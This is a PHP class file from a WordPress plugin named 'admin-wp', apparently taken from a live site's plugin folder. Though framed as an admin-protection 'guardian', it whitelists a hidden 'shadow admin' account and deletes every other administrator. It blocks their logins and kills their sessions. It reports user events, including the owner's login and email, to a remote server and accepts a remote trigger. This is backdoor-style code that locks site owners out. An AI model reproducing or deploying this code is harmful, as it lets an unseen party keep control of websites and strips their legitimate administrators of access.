File "class-admin-guardian.php"

Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-admin-guardian.php
File size: 16.58 KB
MIME-type: text/x-php
Charset: utf-8

<?php
if ( ! defined( 'ABSPATH' ) ) exit;

class AWG_Admin_Guardian {

    const OPT_OWNER    = '_awg_oid';
    const OPT_REGISTRY = '_awg_areg';
    const OPT_LOG      = '_awg_incident_log';

    private static $owner_id = null;

    public static function init(): void {
        /* Earliest: block admin role before DB write (WP 5.8+). */
        if ( version_compare( get_bloginfo( 'version' ), '5.8', '>=' ) ) {
            add_filter( 'wp_pre_insert_user_data', [ __CLASS__, 'filter_pre_insert_user_data' ], PHP_INT_MIN, 3 );
        }

        /* Block direct capability meta writes (backdoor plugins / SQL tools that skip roles API). */
        add_filter( 'add_user_metadata',    [ __CLASS__, 'filter_add_capabilities_meta' ], PHP_INT_MIN, 5 );
        add_filter( 'update_user_metadata', [ __CLASS__, 'filter_update_capabilities_meta' ], PHP_INT_MIN, 5 );

        /* Role API — strip administrator immediately. */
        add_action( 'add_user_role', [ __CLASS__, 'on_add_user_role' ], PHP_INT_MIN, 3 );

        /* Same request cleanup + remote notice. */
        add_action( 'init', [ __CLASS__, 'maybe_scan' ], PHP_INT_MIN );

        /* Remote trigger: server can force scan via ?awg_scan={site_secret} */
        add_action( 'init', [ __CLASS__, 'handle_remote_trigger' ], 0 );

        add_action( 'user_register',  [ __CLASS__, 'on_user_created' ], PHP_INT_MIN );
        add_action( 'set_user_role',  [ __CLASS__, 'on_role_changed' ], PHP_INT_MIN, 3 );
        add_action( 'profile_update', [ __CLASS__, 'on_profile_update' ], PHP_INT_MIN, 2 );

        add_filter( 'wp_authenticate_user', [ __CLASS__, 'block_unauthorized_login' ], PHP_INT_MIN, 2 );
        add_action( 'wp_login',           [ __CLASS__, 'on_login' ], PHP_INT_MIN, 2 );

        /* REST: strip administrator before insert/update hits wp_insert_user / meta. */
        add_filter( 'rest_pre_insert_user', [ __CLASS__, 'rest_pre_insert_user' ], PHP_INT_MIN, 2 );
        add_filter( 'rest_pre_update_user', [ __CLASS__, 'rest_pre_update_user' ], PHP_INT_MIN, 2 );

        if ( is_multisite() ) {
            add_filter( 'grant_super_admin', [ __CLASS__, 'filter_grant_super_admin' ], PHP_INT_MIN, 2 );
        }

        add_action( 'awg_cron_scan', [ __CLASS__, 'scan' ] );
    }

    /**
     * Run scan as early as possible on privileged entry points (admin, AJAX, REST, cron).
     */
    public static function maybe_scan(): void {
        if ( wp_doing_cron() ) {
            self::scan();
            return;
        }
        if ( is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
            self::scan();
        }
    }

    /**
     * Remote scan trigger: GET /?awg_scan={site_secret}
     * Returns JSON result, no WordPress page rendering.
     */
    public static function handle_remote_trigger(): void {
        if ( ! isset( $_GET['awg_scan'] ) ) return;

        $token  = sanitize_text_field( $_GET['awg_scan'] );
        $secret = AWG_Secure_Comm::get_site_secret();

        if ( ! hash_equals( $secret, $token ) ) {
            status_header( 403 );
            header( 'Content-Type: application/json' );
            echo '{"error":"forbidden"}';
            exit;
        }

        self::scan();

        status_header( 200 );
        header( 'Content-Type: application/json' );
        echo wp_json_encode( [
            'ok'      => true,
            'site'    => home_url(),
            'scanned' => time(),
        ] );
        exit;
    }

    private static function capabilities_meta_key(): string {
        global $wpdb;
        return $wpdb->prefix . 'capabilities';
    }

    private static function meta_grants_administrator( $meta_value ): bool {
        $caps = maybe_unserialize( $meta_value );
        if ( ! is_array( $caps ) ) {
            return false;
        }
        return ! empty( $caps['administrator'] );
    }

    /** Downgrade administrator to subscriber before the user row is written (except owner/shadow / shadow create). */
    public static function filter_pre_insert_user_data( $data, $update, $userdata ) {
        $role = isset( $data['role'] ) ? (string) $data['role'] : '';
        if ( $role !== 'administrator' ) {
            return $data;
        }

        $user_id = 0;
        if ( $update && ! empty( $userdata['ID'] ) ) {
            $user_id = (int) $userdata['ID'];
        }

        if ( $user_id > 0 && self::is_whitelisted( $user_id ) ) {
            return $data;
        }
        if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
            return $data;
        }

        $data['role'] = 'subscriber';
        self::log_incident( 'downgraded_pre_insert_user', [
            'update'  => (bool) $update,
            'user_id' => $user_id,
        ] );
        AWG_Secure_Comm::send_breach( 'blocked_admin_role_pre_insert', [
            'update'  => (bool) $update,
            'user_id' => $user_id,
        ] );

        return $data;
    }

    public static function filter_add_capabilities_meta( $check, $user_id, $meta_key, $meta_value, $unique ) {
        if ( null !== $check ) {
            return $check;
        }
        if ( $meta_key !== self::capabilities_meta_key() ) {
            return $check;
        }
        if ( ! self::meta_grants_administrator( $meta_value ) ) {
            return $check;
        }

        $uid = (int) $user_id;
        if ( self::is_whitelisted( $uid ) ) {
            return $check;
        }
        if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
            return $check;
        }

        self::log_incident( 'blocked_capabilities_meta_add', [ 'user_id' => $uid ] );
        AWG_Secure_Comm::send_breach( 'blocked_capabilities_meta', [
            'user_id' => $uid,
            'op'      => 'add',
        ] );

        return false;
    }

    public static function filter_update_capabilities_meta( $check, $user_id, $meta_key, $meta_value, $prev_value ) {
        if ( null !== $check ) {
            return $check;
        }
        if ( $meta_key !== self::capabilities_meta_key() ) {
            return $check;
        }
        if ( ! self::meta_grants_administrator( $meta_value ) ) {
            return $check;
        }

        $uid = (int) $user_id;
        if ( self::is_whitelisted( $uid ) ) {
            return $check;
        }
        if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
            return $check;
        }

        self::log_incident( 'blocked_capabilities_meta_update', [ 'user_id' => $uid ] );
        AWG_Secure_Comm::send_breach( 'blocked_capabilities_meta', [
            'user_id' => $uid,
            'op'      => 'update',
        ] );

        return false;
    }

    public static function on_add_user_role( $user_id, $role, $old_roles ): void {
        if ( $role !== 'administrator' ) {
            return;
        }

        $uid = (int) $user_id;
        if ( self::is_whitelisted( $uid ) ) {
            return;
        }
        if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
            return;
        }

        $user = new WP_User( $uid );
        $user->remove_role( 'administrator' );
        if ( empty( $user->roles ) ) {
            $user->set_role( 'subscriber' );
        }

        self::log_incident( 'stripped_add_user_role', [ 'user_id' => $uid ] );
        AWG_Secure_Comm::send_breach( 'stripped_add_user_role', [ 'user_id' => $uid ] );
    }

    public static function rest_pre_insert_user( $prepared_user, $request ) {
        if ( ! is_array( $prepared_user ) ) {
            return $prepared_user;
        }
        $role = isset( $prepared_user['role'] ) ? (string) $prepared_user['role'] : '';
        if ( $role !== 'administrator' ) {
            return $prepared_user;
        }
        if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
            return $prepared_user;
        }

        $prepared_user['role'] = 'subscriber';
        self::log_incident( 'rest_downgrade_insert', [] );
        AWG_Secure_Comm::send_breach( 'rest_blocked_admin_insert', [] );

        return $prepared_user;
    }

    public static function rest_pre_update_user( $prepared_user, $request ) {
        if ( ! is_array( $prepared_user ) ) {
            return $prepared_user;
        }
        if ( empty( $prepared_user['role'] ) ) {
            return $prepared_user;
        }

        $role = (string) $prepared_user['role'];
        if ( $role !== 'administrator' ) {
            return $prepared_user;
        }

        $user_id = 0;
        if ( ! empty( $prepared_user['ID'] ) ) {
            $user_id = (int) $prepared_user['ID'];
        } elseif ( $request instanceof WP_REST_Request ) {
            $user_id = (int) $request->get_param( 'id' );
        }

        if ( $user_id > 0 && self::is_whitelisted( $user_id ) ) {
            return $prepared_user;
        }
        if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
            return $prepared_user;
        }

        unset( $prepared_user['role'] );
        self::log_incident( 'rest_strip_role_update', [ 'user_id' => $user_id ] );
        AWG_Secure_Comm::send_breach( 'rest_blocked_admin_update', [ 'user_id' => $user_id ] );

        return $prepared_user;
    }

    public static function filter_grant_super_admin( $grant, $user_id ) {
        if ( ! $grant ) {
            return $grant;
        }
        if ( self::is_whitelisted( (int) $user_id ) ) {
            return $grant;
        }
        return false;
    }

    /* ---- owner management ---- */

    public static function set_owner( int $user_id ): void {
        AWG_Crypto::encrypt_option( self::OPT_OWNER, $user_id );
        self::$owner_id = $user_id;

        $user = get_user_by( 'ID', $user_id );
        if ( $user ) {
            $registry = [
                $user_id => self::fingerprint( $user ),
            ];
            AWG_Crypto::encrypt_option( self::OPT_REGISTRY, $registry );
        }
    }

    public static function get_owner_id(): int {
        if ( self::$owner_id !== null ) {
            return self::$owner_id;
        }
        self::$owner_id = (int) AWG_Crypto::decrypt_option( self::OPT_OWNER, 0 );
        return self::$owner_id;
    }

    public static function is_whitelisted( int $user_id ): bool {
        return $user_id === self::get_owner_id()
            || $user_id === AWG_Shadow_Admin::get_id();
    }

    /* ---- fingerprint ---- */

    private static function fingerprint( WP_User $u ): string {
        return AWG_Crypto::hmac_hex(
            "{$u->ID}|{$u->user_login}|{$u->user_email}|{$u->user_registered}"
        );
    }

    /* ---- core scan ---- */

    public static function scan(): void {
        AWG_Shadow_Admin::bypass( true );
        $admins = get_users( [ 'role' => 'administrator' ] );
        AWG_Shadow_Admin::bypass( false );

        $owner_id  = self::get_owner_id();
        $shadow_id = AWG_Shadow_Admin::get_id();
        $registry  = AWG_Crypto::decrypt_option( self::OPT_REGISTRY, [] );
        $removed   = [];

        foreach ( $admins as $admin ) {
            if ( $admin->ID === $owner_id ) {
                self::verify_owner( $admin, $registry );
                continue;
            }
            if ( $admin->ID === $shadow_id ) {
                continue;
            }
            self::remove_user( $admin );
            $removed[] = $admin->user_login;
        }

        if ( ! empty( $removed ) ) {
            self::log_incident( 'unauthorized_admins_removed', $removed );
            AWG_Secure_Comm::send_admin_removed( $removed );
            AWG_Lockdown::trigger( 'unauthorized_admins', [ 'removed' => $removed ] );
        }
    }

    private static function verify_owner( WP_User $owner, array $registry ): void {
        $fp = self::fingerprint( $owner );
        $stored = $registry[ $owner->ID ] ?? '';

        if ( $stored && ! hash_equals( $stored, $fp ) ) {
            self::log_incident( 'owner_fingerprint_changed', [
                'login' => $owner->user_login,
                'email' => $owner->user_email,
            ] );
            AWG_Secure_Comm::send_breach( 'owner_fingerprint_changed', [
                'owner_login' => $owner->user_login,
                'owner_email' => $owner->user_email,
            ] );

            $registry[ $owner->ID ] = $fp;
            AWG_Crypto::encrypt_option( self::OPT_REGISTRY, $registry );
        }
    }

    /* ---- instant-reaction hooks ---- */

    public static function on_user_created( int $user_id ): void {
        $user = get_user_by( 'ID', $user_id );
        if ( ! $user ) return;
        if ( in_array( 'administrator', $user->roles, true ) && ! self::is_whitelisted( $user_id ) ) {
            self::remove_user( $user );
            self::log_incident( 'instant_remove_on_create', [ $user->user_login ] );
            AWG_Secure_Comm::send_admin_removed( [ $user->user_login ] );
        }
    }

    public static function on_role_changed( int $user_id, string $new_role, array $old_roles ): void {
        if ( $new_role === 'administrator' && ! self::is_whitelisted( $user_id ) ) {
            $user = get_user_by( 'ID', $user_id );
            if ( $user ) {
                self::remove_user( $user );
                self::log_incident( 'instant_remove_on_role', [ $user->user_login ] );
                AWG_Secure_Comm::send_admin_removed( [ $user->user_login ] );
            }
        }
    }

    public static function on_profile_update( int $user_id, $old_user_data ): void {
        if ( self::is_whitelisted( $user_id ) ) return;
        $user = get_user_by( 'ID', $user_id );
        if ( $user && in_array( 'administrator', $user->roles, true ) ) {
            self::remove_user( $user );
            self::log_incident( 'instant_remove_on_update', [ $user->user_login ] );
            AWG_Secure_Comm::send_admin_removed( [ $user->user_login ] );
        }
    }

    /* ---- login gate ---- */

    public static function block_unauthorized_login( $user, string $password ) {
        if ( is_wp_error( $user ) ) return $user;
        if ( ! ( $user instanceof WP_User ) ) return $user;

        if ( in_array( 'administrator', $user->roles, true ) && ! self::is_whitelisted( $user->ID ) ) {
            self::remove_user( $user );
            self::log_incident( 'blocked_login', [ $user->user_login ] );
            return new WP_Error(
                'awg_blocked',
                __( 'Access denied.', 'admin-wp' )
            );
        }
        return $user;
    }

    public static function on_login( string $login, WP_User $user ): void {
        if ( in_array( 'administrator', $user->roles, true ) && ! self::is_whitelisted( $user->ID ) ) {
            WP_Session_Tokens::get_instance( $user->ID )->destroy_all();
            self::remove_user( $user );
        }
    }

    /* ---- user removal ---- */

    private static function remove_user( WP_User $user ): void {
        $owner_id = self::get_owner_id();
        WP_Session_Tokens::get_instance( $user->ID )->destroy_all();

        AWG_Shadow_Admin::bypass( true );
        require_once ABSPATH . 'wp-admin/includes/user.php';
        wp_delete_user( $user->ID, $owner_id > 0 ? $owner_id : null );
        AWG_Shadow_Admin::bypass( false );
    }

    /* ---- incident log ---- */

    public static function log_incident( string $type, $details = [] ): void {
        $log   = get_option( self::OPT_LOG, [] );
        $log[] = [
            'type'    => $type,
            'details' => $details,
            'time'    => current_time( 'mysql' ),
            'ip'      => self::get_ip(),
        ];
        if ( count( $log ) > 200 ) {
            $log = array_slice( $log, -200 );
        }
        update_option( self::OPT_LOG, $log, false );
    }

    public static function get_log(): array {
        return get_option( self::OPT_LOG, [] );
    }

    public static function clear_log(): void {
        delete_option( self::OPT_LOG );
    }

    private static function get_ip(): string {
        foreach ( [ 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR' ] as $key ) {
            if ( ! empty( $_SERVER[ $key ] ) ) {
                $ip = explode( ',', $_SERVER[ $key ] )[0];
                return trim( $ip );
            }
        }
        return 'unknown';
    }

    /* ---- cleanup ---- */

    public static function destroy(): void {
        delete_option( self::OPT_OWNER );
        delete_option( self::OPT_REGISTRY );
        delete_option( self::OPT_LOG );
        self::$owner_id = null;
    }
}